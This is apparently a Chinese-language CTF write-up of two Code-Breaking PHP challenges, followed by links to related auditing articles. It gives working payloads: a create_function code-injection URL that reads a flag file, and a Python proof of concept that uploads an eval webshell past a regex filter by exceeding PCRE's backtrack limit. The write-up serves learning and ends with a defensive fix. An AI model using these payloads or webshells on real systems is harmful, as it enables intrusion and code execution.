p神 代码审计知识星球二周年wp[1]

简介: 题目:https://code-breaking.com参考文献:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.

题目:https://code-breaking.com
参考文献:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://blog.csdn.net/while0/article/details/72276440

easy-function

源码

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

解题思路

  • 在数字字母下划线都被禁用的情况下调用函数,因为正则里面用了^$,就有可能在开头或结尾加入某个字符绕过正则且函数依旧能正常执行。最后发现\可以,不禁能绕过正则,还能使函数正常执行。
  • 正常执行的原因:
    php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样的调用函数,则其实是写了一个绝对路径。如果在其他namespace里调用系统类,就必须写绝对路径这种方法。
  • 任意函数调用,且函数的第二个参数可控。可使用create_function()
    利用create_function()代码注入
  • 一个简单的栗子
<?php
$id=$_GET['id'];
$str2='echo  '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
  • payload:
    http://localhost/2.php?id=2;}phpinfo();/*
  • 执行函数
源代码:
function fT($a) {
  echo "test".$a;
}
注入后代码:
function fT($a) {
  echo "test";}
  phpinfo();/*;//此处为注入代码。
}
  • 最终payload
遍历文件夹下的所有文件:
http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/*
拿到flag:
http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/*

easy-pcrewaf

源码

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

解题思路
判断一下用户输入的内容有没有PHP代码,如果没有,则写入文件。

先来分析下正则
正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态。
回溯的过程

直接看p神的分析就行,贼详细就不多加叙述了

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit

img_9c5c8eefceead65036deb03a15290cd3.png

回溯次数上限默认是 100万
img_3ebbf2cc1bf10c41a1987c8bfae65eff.png

当回溯次数超过了100万, preg_match()返回 false,不是 1或0。则绕过了正则。

  • 最终的解决方式:
    通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。
  • 大佬的poc:
import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

解决方案
如果用preg_match对字符串进行匹配,一定要使用===全等号来判断返回值。

目录
相关文章
|
前端开发 PHP Linux
p神 代码审计知识星球二周年wp[2]
参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.
1774 0
|
安全 小程序 PHP
PHP代码审计(七)Rips源代码审计系统使用教程
上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
321 0
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
134 0
|
Shell PHP Windows
PHP代码审计(四)PHP文件操作函数(2)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
85 0
|
安全 Unix Shell
PHP代码审计(四)PHP文件操作函数(1)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
74 0
|
安全 小程序 PHP
PHP代码审计(六)Seay源代码审计系统使用教程
www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
1199 0
|
6月前
|
SQL 监控 安全
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
代码审计-PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析
|
7月前
|
PHP
【攻防世界】easyphp(PHP代码审计)
【攻防世界】easyphp(PHP代码审计)
|
XML 开发框架 .NET
代码审计之PHP基础铺垫
代码审计之PHP基础铺垫
94 0
|
小程序 Shell PHP
PHP代码审计(四)PHP文件操作函数(3)
改变文件所有者。如果成功则返回 TRUE,如果失败则返回 FALSE。 语法:chown(file,owner)
57 0